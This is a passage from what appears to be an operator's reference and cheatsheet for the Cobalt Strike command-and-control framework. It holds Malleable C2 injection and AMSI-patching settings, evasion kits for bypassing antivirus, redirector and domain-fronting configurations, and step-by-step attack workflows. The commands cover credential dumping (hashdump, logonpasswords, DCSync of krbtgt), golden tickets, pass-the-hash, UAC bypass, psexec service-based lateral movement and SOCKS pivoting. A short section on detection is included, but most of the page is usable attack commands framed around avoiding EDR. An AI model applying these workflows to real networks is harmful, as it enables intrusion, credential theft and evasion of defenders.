    set allocator "NtMapViewOfSection";   # Memory allocation API (VirtualAllocEx, NtMapViewOfSection)
    set min_alloc "16700";               # Minimum allocation size in bytes

    transform-x64 {
        prepend "\x90\x90\x90\x90";     # Add NOP sled before shellcode
    }
    transform-x86 {
        prepend "\x90\x90\x90\x90";
    }

    # Execution method — how to start shellcode after injecting it
    execute {
        CreateThread;                   # Use CreateRemoteThread (classic, loudest)
        SetThreadContext;               # Suspend + SetThreadContext + Resume (quieter)
        NtQueueApcThread-s;             # APC injection (alertable thread required)
        CreateRemoteThread;             # Standard WINAPI
        RtlCreateUserThread;            # Undocumented NT API
    }
}

post-ex Block

Controls post-exploitation job behavior (keylogger, screenshot, mimikatz, etc.).

post-ex {
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set obfuscate   "true";            # Obfuscate post-ex DLLs in memory
    set smartinject "true";
    set amsi_disable "true";           # Patch AMSI in fork'd processes (PowerShell jobs)
    set keylogger "GetAsyncKeyState";  # Keylogging API
    set cleanup    "true";             # (4.9+) Clean up post-ex UDRL after load
}

Variants

Variants allow multiple HTTP/HTTPS listeners on the same team server to have different traffic signatures, while using the same profile file.

http-get "variant1" {       # Named variant — select it when creating a listener
    set uri "/api/v1/data";
    # ... custom transforms for this listener
}

http-post "variant1" {
    set uri "/api/v1/upload";
    # ...
}

c2lint — Profile Validation

Always validate a profile before using it on an engagement.

# Basic syntax check
./c2lint /path/to/profile.profile

# Verbose check — shows what transforms would produce on a sample payload
./c2lint -v /path/to/profile.profile

# c2lint returns 0 on pass, non-zero on error.
# Fix all errors and warnings before loading into teamserver.

Aggressor Script

Aggressor Script (.cna files) extends Cobalt Strike using the Sleep scripting language. It can hook into payload generation, add new Beacon commands (aliases), add GUI menus, automate responses to events, and interact with every team server feature.

# Load scripts via GUI
Cobalt Strike → Script Manager → Load → select your .cna file

# Load at client startup (append to one-liner)
./cobaltstrike & /path/to/startup.cna

# Headless execution
./agscript <host> <port> <user> <password> /path/to/script.cna

Basic Aggressor Script structure:

# Register a new Beacon command alias
alias mycommand {
    local('%args $bid');
    $bid = $1;                          # Beacon ID is always first argument
    %args = @_;

    btask($bid, "Running mycommand");   # Log in team chat

    # Execute a Beacon command
    bshell($bid, "whoami /all");        # Execute via cmd.exe
    bpowerpick($bid, "Get-Process");    # Execute via unmanaged PowerShell

    # Execute a BOF
    $data = bof_pack($bid, "z", "argument");
    beacon_inline_execute($bid, $data, "go", "argument");
}

# Hook into payload generation
set BEACON_RDLL_GENERATE {
    # intercept and modify the reflective DLL before it's placed in a payload
}

# Event handlers
on beacon_initial {
    local('$bid');
    $bid = $1;
    btask($bid, "New beacon! Running initial recon...");
    bgetuid($bid);
    bpwd($bid);
}

Common Aggressor Script built-in functions:

Function Description
bshell($bid, $cmd) Run via cmd.exe
bpowerpick($bid, $cmd) Unmanaged PowerShell
brun($bid, $cmd) Run without shell
bexecute_assembly($bid, $file, $args) execute-assembly
binline_execute($bid, $bof_data, "go", $args) Inline BOF execution
bdownload($bid, $remote_path) Download file
bupload($bid, $local_path) Upload file
bsleep($bid, $ms, $jitter) Set sleep
bspawn($bid, $listener) Spawn new session
bjump($bid, $module, $target, $listener) Lateral movement
bloginpasswords($bid) Run logonpasswords
bhashdump($bid) Run hashdump

Arsenal Kit & Kits Overview

The Arsenal Kit (introduced in CS 4.6) bundles all customization kits into a single buildable package. It consolidates what were previously separate downloads into one.

# Download Arsenal Kit (requires valid license — download from Help → Arsenal in GUI)
# After download:
cd arsenal-kit/
cat arsenal_kit.config       # configure which kits to build
./build_arsenal_kit.sh       # compile everything
# Output: arsenal_kit.cna + supporting artifacts

# Load the single arsenal_kit.cna in the GUI
# Cobalt Strike → Script Manager → Load → arsenal_kit.cna

Artifact Kit

Replaces the default EXE/DLL templates CS uses when generating payloads. The default templates are signatured by essentially every AV; the Artifact Kit lets you write your own shellcode loaders.

# Configure in arsenal_kit.config
include_artifact_kit="true"

# After build, the artifact kit compiles to:
# dist-artifact/   → custom artifact binaries
# These are automatically picked up by arsenal_kit.cna

Key techniques implemented in the default artifact templates: allocate_and_execute, heap_inject, map_view_of_section. You extend or replace these to implement your own shellcode execution technique.

UDRL & UDRL-VS

User-Defined Reflective Loader — replaces Cobalt Strike's built-in reflective DLL loader. The UDRL controls exactly how Beacon is loaded into memory: memory allocation strategy, PE header stomping, import resolution, and obfuscation on load.

include_udrl_kit="true"   # in arsenal_kit.config

# UDRL-VS: Visual Studio project templates for UDRL development
# Hooks: BEACON_RDLL_GENERATE (for Beacon payloads)
#        POSTEX_RDLL_GENERATE (for post-ex DLLs, new in 4.9)

The UDRL is where most advanced evasion research lives — bypassing hooks, implementing custom PE loading, integrating sleep obfuscation directly into the loader.

Sleepmask Kit

Controls how Beacon obfuscates itself in memory while sleeping. Between check-ins, Sleepmask XOR-encodes Beacon's memory (heap + image), sleeps, then decodes and continues. This defeats memory scanners that scan sleeping processes.

include_sleepmask_kit="true"

# Requires: set sleep_mask "true"; in profile's stage block
# Sleepmask-VS: same as UDRL-VS — Visual Studio templates for custom Sleepmask BOFs

Default implementations: timer-based, WaitForSingleObjectEx-based. Community variants implement Ekko, Foliage, Gargoyle for more advanced sleep obfuscation.

Resource Kit

Replaces the HTA, PowerShell, Python, VBA, and VBS script templates that CS uses in its attack workflows. Useful for customizing these scripts to bypass AMSI or string detections.

include_resource_kit="true"

Process Inject Kit

Replaces the default process injection logic with a custom BOF implementation. Lets you choose exactly which Win32/NT APIs Beacon uses for memory allocation and thread execution.

include_process_inject_kit="true"

Postex Kit

Allows writing custom post-exploitation DLLs and integrating them into Beacon's job architecture. Use for building novel post-ex capabilities that use the Fork & Run model with full control over the DLL loaded and the UDRL that loads it.

Mimikatz Kit

Updates the Mimikatz binary embedded in Cobalt Strike. Useful to swap in a more recent Mimikatz build or a patched version that bypasses current AV signatures.

BOF-VS

Visual Studio project templates for Beacon Object File development. Includes DFR (Dynamic Function Resolution) helpers, a BOF test harness (run BOFs without spawning a Beacon), and unit test support. Moved to the public Cobalt-Strike GitHub in CS 4.9.


Beacon Object Files (BOFs)

BOFs are small compiled C (COFF object files) programs that execute directly inside Beacon's memory, in the calling thread, without spawning a new process. They're how Cobalt Strike implements most of its newer built-in capabilities and how the community extends it.

# Run a BOF from the Beacon console
inline-execute /path/to/bof.o [args]

# BOF packing (from Aggressor Script — typed args)
# "b" = binary blob, "z" = zero-terminated string, "i" = 32-bit int, "s" = 16-bit short
$data = bof_pack($bid, "zi", "hostname", 80);

# Run a BOF in-process via Aggressor Script
beacon_inline_execute($bid, $data, "go", $args);

BOF limitations:

  • No long-running blocking operations — Beacon is unresponsive while the BOF runs
  • No standard library (CRT) — you use Win32 APIs directly, resolved via Cobalt Strike's API resolver
  • Default memory is RWX — configure sleepmask and process-inject blocks to address this
  • Crashes in a BOF crash the Beacon — test thoroughly with BOF-VS's test harness before deploying

Community BOF sources worth knowing:

Source Content
TrustedSec's CS-Situational-Awareness-BOF Recon BOFs using direct syscalls
OutflankNL's CS-Remote-Ops-BOF Remote operation BOFs
EspressoCake's BOF collection Lateral movement BOFs
Cobalt-Strike/cobaltstrike-tooling (GitHub) Official example BOFs

Multiplayer & Team Operations

Multiple operators can connect to the same team server simultaneously. All sessions, credentials, and loot are shared.

# Operator 1 connects:
./cobaltstrike → host: teamserver_IP, port: 50050, user: "op1", password: "..."

# Operator 2 connects (same server, different alias):
./cobaltstrike → host: teamserver_IP, port: 50050, user: "op2", password: "..."

Team features:

View → Event Log            # Shared team chat and event log (every action logged here)
View → Credentials          # Shared credential store (all operators see each other's dumps)
View → Downloads            # Files downloaded from Beacons
View → Keystrokes           # Keylogger output
View → Screenshots          # Screenshot captures
View → Targets              # Shared host/network map

# Team chat (in the Event Log console)
say <message>               # Send a message to all operators

All Beacon commands are tagged with the operator alias that issued them in the event log. This creates a natural audit trail for the engagement report. Operators can task each other's Beacons — coordination via the Event Log is essential in multi-operator engagements.


Infrastructure — Redirectors & OPSEC

Never expose the team server directly to the internet. Use one or more redirectors.

Apache mod_rewrite Redirector

# /etc/apache2/sites-enabled/cs-redirector.conf
<VirtualHost *:443>
    SSLEngine on
    SSLCertificateFile    /etc/letsencrypt/live/example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem

    # Only proxy requests with the right URI pattern
    RewriteEngine On
    RewriteCond %{REQUEST_URI} ^/(search|collect|api/v1)
    RewriteRule ^/(.*)$ https://TEAMSERVER_IP:443/$1 [P,L]

    # Block everything else (return decoy content or 404)
    RewriteRule ^/(.*)$ https://decoy.com/$1 [P,L]
</VirtualHost>

Nginx Redirector

server {
    listen 443 ssl;
    ssl_certificate     /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    location ~* ^/(search|collect) {
        proxy_pass https://TEAMSERVER_IP;
        proxy_ssl_verify off;
    }

    location / {
        return 404;
    }
}

socat DNS Redirector

# On the redirector — forward DNS UDP to team server
socat udp4-listen:53,reuseaddr,fork UDP:TEAMSERVER_IP:53

# Or via SSH tunnel (more stable)
# On team server:
ssh user@redirector -R 5353:127.0.0.1:53
# On redirector:
socat udp4-listen:53,reuseaddr,fork tcp:localhost:5353

Domain Fronting

Route Beacon traffic through a major CDN (Cloudflare, Azure CDN, AWS CloudFront) so the SNI/certificate points to the CDN and only the HTTP Host header reveals the real endpoint — often invisible to network inspectors that can't decrypt TLS.

In the Malleable C2 profile:
http-get {
    client {
        header "Host" "yourorg.azureedge.net";     # CDN hostname (fronting domain)
    }
}

# In the listener:
# HTTP Hosts: cdn.microsoft.com (or any CDN domain that fronts your endpoint)
# Actual routing: CDN → your real server via CDN's backend routing

Note: Major CDNs have increasingly cracked down on domain fronting. Availability varies by CDN and account type. Azure banned it; Cloudflare requires paid plans and SNI matching.


OPSEC Considerations Per Command

Command Mechanism Process Spawn? Key Event IDs OPSEC Rating
getuid Win32 API No None ✅ Safe
ps Win32 API No None ✅ Safe
ls Win32 API No None ✅ Safe
shell cmd.exe child Yes — cmd.exe 4688 (cmd.exe + your cmd) ❌ Noisy
powershell powershell.exe child Yes — powershell.exe 4688, Script Block Log ❌ Noisy
powerpick Unmanaged runspace No Script Block Log ⚠️ Moderate
execute-assembly Fork & Run (spawnto) Yes — spawnto 4688 (spawnto) ⚠️ Moderate
inline-execute (BOF) In-process No None (usually) ✅ Best
hashdump Mimikatz (F&R) Yes — spawnto→LSASS 10 (LSASS access) ❌ Loud
logonpasswords Mimikatz (F&R) Yes + LSASS read 10, AV alert likely ❌ Very loud
dcsync DRSUAPI RPC No (network only) 4662 (DC-side) ⚠️ Moderate
make_token Win32 LogonUser No 4624 type 9 ⚠️ Moderate
steal_token OpenProcessToken No None (usually) ✅ Safe
pth Mimikatz (F&R) Yes 4624 type 9 ⚠️ Moderate
getsystem Service+pipe Yes — service 4697, 7045 ❌ Loud
jump psexec Service creation + EXE Yes — service + EXE 7045, 4697, 5140 ❌ Loudest
jump winrm WinRM No new process 4624 type 3 ✅ Quieter
jump wmi WMI Win32_Process Yes — spawns process 4688, WMI-Activity ⚠️ Moderate
socks Beacon proxy No None ✅ Safe
inject WriteProcessMemory No (injects existing) 8 (RTP inject), 10 ⚠️ Moderate
keylogger Fork & Run Yes — spawnto 4688 ⚠️ Moderate
screenshot Fork & Run Yes — spawnto 4688 ⚠️ Moderate

Golden rule: If a command spawns cmd.exe or powershell.exe, it will appear as a child process of your Beacon process. That parent→child relationship (especially dllhost.exe → cmd.exe or svchost.exe → powershell.exe) is one of the most-detected behavioral patterns in modern EDR.


Detection Notes (Blue Team Awareness)

Understanding how defenders detect Cobalt Strike makes you a better operator. It also makes you think carefully about profile customization.

Network Layer

  • Default profile fingerprinting — unmodified Beacon HTTP traffic has known URI patterns, header ordering, response body formats, and cookie structures. Tools like JA3 fingerprinting, Zeek, and purpose-built YARA/Suricata rules can identify Cobalt Strike with default profiles from a packet capture with high confidence.
  • JARM fingerprinting — the team server's TLS fingerprint (JARM hash) is known for default certificate configurations. Internet-wide scanning tools (like Shodan) have indexed exposed team servers using this.
  • Default ports — port 50050 (operator channel), 80/443 (HTTP/HTTPS listener defaults). Always change these.
  • Beaconing pattern — even with jitter, the regular period of check-ins over time is statistically detectable via baselining. Longer sleep intervals reduce visibility but don't eliminate it.
  • DNS C2 — high volume of unique subdomain queries under a single parent domain, with a consistent query rate matching the sleep interval.

Host / Behavioral Layer

  • Fork & Run pattern — spawning a temporary process (usually rundll32.exe by default → change it), injecting a reflective DLL with RWX memory, then killing the process is one of the most-detected behavioral patterns in modern EDR.
  • LSASS access — hashdump and logonpasswords both access LSASS; Sysmon Event ID 10 fires for cross-process LSASS reads and triggers in most mature AV/EDR stacks.
  • GetSystem — creating a service (Event ID 7045) that then impersonates a named pipe is a well-documented detection path in Sysmon and Windows Defender.
  • Service creation for lateral movement — jump psexec creates a service, copies an EXE to ADMIN$, starts it, and optionally deletes it. Event IDs 7045 and 4697 are heavily monitored.
  • SMB Beacon named pipe — default pipe names (msagent_*, MSSE-*) are signatured. Customize pipename in the profile.
  • execute-assembly / .NET — loading an unmanaged CLR into a process that shouldn't have one (like dllhost.exe) is detectable by EDR that monitors CLR loads.
  • Sleepmask evasion — mature memory scanners now look for the XOR key and decryption stub, not just the Beacon pattern itself.

Infrastructure

  • Team server exposure — port 50050 accessible from the internet (even with a valid password) is flagged by several threat intel feeds. Always firewall it.
  • Certificate self-signed or default — CS issues a self-signed cert for the operator channel by default. Use a proper CA-signed cert.
  • Stager request pattern — staged Beacons make a distinct second HTTP request to retrieve the stage; stageless Beacons don't. Use stageless in production.

Common Attack Workflows

Workflow: Initial Access → Stable Beacon → Recon

# 1. Start the team server
sudo ./teamserver 203.0.113.10 "S3cur3P@ss" /opt/profiles/jquery-c2.profile

# 2. Connect the client and set up a listener
# Attacks → Listeners → Add → HTTPS → domain: redir.example.com, port: 443

# 3. Generate a stageless payload
# Attacks → Packages → Windows Executable (S) → select listener → output to /tmp/payload.exe

# 4. Deliver to target (phishing, exploit, supply chain — engagement specific)

# 5. Once Beacon checks in — initial recon
beacon> sleep 30 20              # slow down first
beacon> getuid                   # who am I?
beacon> getprivs                 # what privileges?
beacon> ps                       # what's running? (spot EDR, find targets)
beacon> ipconfig                 # what network am I on?
beacon> net dclist               # where are the DCs?
beacon> net domain               # domain name

# 6. Set PPID spoofing before doing anything noisier
beacon> ppid <PID_of_explorer.exe>
beacon> spawnto x64 %windir%\sysnative\dllhost.exe

Workflow: Credential Access → Lateral Movement to DC

# Assume: Beacon running as local admin (from step above)

# Option A: DCSync (quieter — network-based, no LSASS touch on the workstation)
# Requires domain admin or privileges to replicate
beacon> make_token CORP\DomainAdmin Password1   # get a domain admin token first
beacon> dcsync CORP.LOCAL CORP\krbtgt           # replicate krbtgt hash from DC

# Option B: hashdump (local SAM only — admin required)
beacon> hashdump

# Option C: logonpasswords (LSASS — loudest)
beacon> logonpasswords

# Lateral move to DC using domain admin token
beacon> make_token CORP\Administrator <NTLM_or_password>
beacon> jump winrm64 DC01.corp.local smb_listener
# → new Beacon on DC01 via SMB named pipe, linked through current Beacon

Workflow: SMB Beacon Pivot Chain (Segmented Network)

# Topology: Internet → redirector → TeamServer
#           TeamServer ← HTTPS ← HOST_A (perimeter, egress)
#           HOST_A ← SMB ← HOST_B (internal, no egress)
#           HOST_B ← SMB ← HOST_C (deep internal)

# Step 1: On HOST_A, generate an SMB Beacon payload for HOST_B
# Attacks → Packages → Windows Executable (S) → listener: smb_internal → save smb_b.exe
beacon_a> upload /tmp/smb_b.exe
beacon_a> shell copy smb_b.exe \\HOST_B\C$\Windows\Temp\smb_b.exe
beacon_a> shell sc \\HOST_B create "WindowsUpdate" binPath= "C:\Windows\Temp\smb_b.exe" start= auto
beacon_a> shell sc \\HOST_B start "WindowsUpdate"

# CS auto-links if using jump psexec:
beacon_a> jump psexec64 HOST_B smb_internal
# → linked Beacon on HOST_B appears in session table

# Step 2: From HOST_B, pivot deeper to HOST_C
beacon_b> jump psexec64 HOST_C smb_internal
# → HOST_C is now accessible, traffic flows HOST_C → HOST_B → HOST_A → redirector → teamserver

# Pivot Graph view:
# Cobalt Strike → Visualization → Pivot Graph

Workflow: SOCKS Proxy for Internal Tooling

# Start SOCKS on a Beacon session
beacon> socks 1080

# Configure proxychains
echo "socks4  127.0.0.1  1080" >> /etc/proxychains4.conf

# Run your tools through it
proxychains nmap -sT -Pn -p 22,80,135,139,389,443,445,1433,3389,5985 192.168.10.0/24
proxychains crackmapexec smb 192.168.10.0/24 --shares
proxychains impacket-secretsdump CORP/admin:'password'@192.168.10.5 -just-dc-ntlm
proxychains bloodhound-python -u admin -p password -d corp.local -dc DC01.corp.local \
  -c All --zip

Cheatsheet

Team Server

sudo ./teamserver <ext_IP> <password>
sudo ./teamserver <ext_IP> <password> /opt/profiles/profile.profile
sudo ./teamserver <ext_IP> <password> /opt/profiles/profile.profile 2025-12-31
./c2lint /opt/profiles/profile.profile          # validate profile
./agscript <host> 50050 <user> <pass> script.cna  # headless aggressor

Client Connection

./cobaltstrike
# → host: 127.0.0.1 (via SSH tunnel), port: 50050, user: alias, pass: <teamserver_pass>

Listener Setup (GUI)

Cobalt Strike → Listeners → Add
Payload: windows/beacon_https/reverse_https
HTTP Hosts: redir.example.com
HTTP Port: 443

Payload Generation (GUI)

Attacks → Packages → Windows Executable (S)   # stageless EXE
Attacks → Packages → Windows Shellcode (S)    # stageless shellcode
Attacks → Web Drive-by → Scripted Web Delivery  # PowerShell one-liner

Beacon Initial Setup

sleep 60 20             # 60s ± 20% jitter
ppid <explorer_PID>     # PPID spoofing
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe
blockdlls start         # block non-MS DLLs from fork'd processes

Recon (OPSEC-safe)

getuid
getprivs
ps
ls
pwd
drives
ipconfig
arp
net dclist
net domain
net localgroup administrators

Credential Access

hashdump                                            # local SAM hashes
logonpasswords                                      # LSASS dump (noisy)
dcsync CORP.LOCAL CORP\krbtgt                      # DCSync (quiet)
dcsync CORP.LOCAL CORP\Administrator
mimikatz lsadump::dcsync /user:krbtgt /domain:corp.local

Token Manipulation

make_token CORP\user password        # network-only token
steal_token <PID>                    # impersonate a running process
rev2self                             # revert token
pth CORP\user <NTLM_hash>           # pass-the-hash

Kerberos

kerberos_ticket_use /path/to/admin.kirbi
kerberos_ccache_use /path/to/ticket.ccache
kerberos_ticket_purge
mimikatz kerberos::golden /user:Administrator /domain:corp.local \
  /sid:<SID> /krbtgt:<hash> /id:500

Privilege Escalation

getsystem                            # all GetSystem techniques
elevate uac-rpc-dom <listener>       # UAC bypass (spawn new session)
runasadmin uac-rpc-dom <command>     # UAC bypass (run command)

Lateral Movement

# Set token first
make_token CORP\user password

# Jump (deploys + auto-links)
jump winrm64 TARGET listener          # quietest
jump wmi TARGET listener              # moderate
jump psexec64 TARGET listener         # loudest
jump psexec_psh TARGET listener       # no EXE drop

# Remote exec (no new session)
remote-exec winrm TARGET "command"
remote-exec wmi TARGET "command"

Pivoting (Peer-to-Peer)

link TARGET                           # SMB Beacon
link TARGET \\.\pipe\custom_pipe      # SMB with named pipe
connect TARGET <port>                 # TCP Beacon
unlink TARGET <beacon_PID>           # disconnect (doesn't kill)

SOCKS & Port Forwarding

socks 1080                            # SOCKS4a
socks 1080 socks5                     # SOCKS5
socks stop
rportfwd <bind_port> <fwd_host> <fwd_port>
rportfwd stop <bind_port>

Execution One-Liners

# Best to worst OPSEC:
inline-execute bof.o [args]           # in-process, no spawn
powerpick Get-Process                 # no powershell.exe spawn
run net user                         # no shell
shell whoami                          # cmd.exe (avoid)
powershell Invoke-Mimikatz            # powershell.exe (avoid)

BOF Execution

# From console
inline-execute /path/to/bof.o [args]

# Popular BOF tooling (install separately)
# TrustedSec SA-BOF, OutflankNL CS-Remote-Ops-BOF

Useful Post-Exploitation One-Liners

shell tasklist /v
shell net user /domain
shell net group "Domain Admins" /domain
shell net group "Domain Controllers" /domain
shell wmic os get caption,version
shell wmic product get name,version
shell wmic process list brief
shell netstat -anop TCP
shell cmdkey /list                           # cached credentials
shell reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
shell dir C:\Users\ /b                       # list user profiles
powerpick Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,Enabled
powerpick Get-ADComputer -Filter * | Select Name,DNSHostName

References

  • Official Docs: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/
  • Fortra Product Page: https://www.cobaltstrike.com
  • Malleable C2 Reference: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm
  • ThreatExpress Malleable C2 Design Guide: https://github.com/threatexpress/malleable-c2
  • Cobalt Strike Blog — Raffi's Abridged Guide: https://www.cobaltstrike.com/blog/raffis-abridged-guide-to-cobalt-strike
  • OPSEC Considerations for Beacon Commands: https://www.cobaltstrike.com/blog/opsec-considerations-for-beacon-commands
  • Arsenal Kit Docs: https://www.cobaltstrike.com/product/features/arsenal-kit
  • Malleable C2 Profiles Repo (rsmudge): https://github.com/rsmudge/Malleable-C2-Profiles
  • TrustedSec CS Situational Awareness BOFs: https://github.com/trustedsec/CS-Situational-Awareness-BOF
  • DFIR Report — CS Defender's Guide: https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
  • Cobalt-Strike GitHub Org: https://github.com/Cobalt-Strike
  • Community Kit: https://cobalt-strike.github.io/community_kit/

Common Operational Mistakes

  1. Using default profile settings — unmodified pipe names (msagent_*), default URIs, and default spawnto (rundll32.exe) are all signatured by mainstream EDR. Customize the Malleable C2 profile before connecting any Beacon.

  2. Using shell and powershell when native commands exist — shell whoami spawns cmd.exe → whoami.exe, two new processes. getuid makes a Win32 API call in-process. Same information, drastically different OPSEC footprint.

  3. Leaving sleeptime at 0 (interactive) — constant check-ins produce a distinctive, noisy traffic pattern. Set a realistic sleep interval even during active work.

  4. Exposing the team server's port 50050 — this port (and the team server's real IP) should never be reachable from the internet. Tunnel operator access via SSH.

  5. Forgetting to set PPID before spawning processes — all Fork & Run operations inherit Beacon's parent relationship. dllhost.exe → cmd.exe is immediately suspicious; set PPID to a plausible parent like explorer.exe or svchost.exe first.

  6. Using staged payloads in production — staged payloads make a second HTTP request to retrieve the full Beacon, creating an additional IOC. Use stageless ((S)) payloads in real engagements.

  7. Not validating the profile with c2lint — a profile with syntax errors crashes the team server or causes Beacon to fail to check in. Always run ./c2lint before loading a new profile.

  8. Forgetting that jump modules require a token first — jump commands don't accept credentials as arguments; they use whatever token Beacon currently holds. Use make_token or steal_token before running jump.

  9. Confusing SOCKS proxy (for your tools) with pivoting (for Beacon) — socks 1080 routes your attacker tooling through the Beacon. SMB/TCP Beacons route C2 traffic through a parent Beacon. These are different mechanisms with different use cases.

  10. Not removing persistence, artifacts, and Beacons at the end of an engagement — the team server's Event Log tracks exactly what was deployed where. Walk through it systematically during cleanup. Cobalt Strike has no automated cleanup function — this is a manual discipline.

  11. Sharing the same listener/profile across engagements — Beacon's callback address and profile signature are baked in at generation time. Reusing infrastructure links engagements together in threat intel databases.

  12. Running logonpasswords before checking EDR status — logonpasswords reaches into LSASS and will trigger most well-tuned EDR solutions. Check ps output for security products first, and consider alternatives (DCSync if you have domain admin; BOF-based LSASS readers with direct syscalls) before falling back to the default Mimikatz injection.

← Tool references top ↑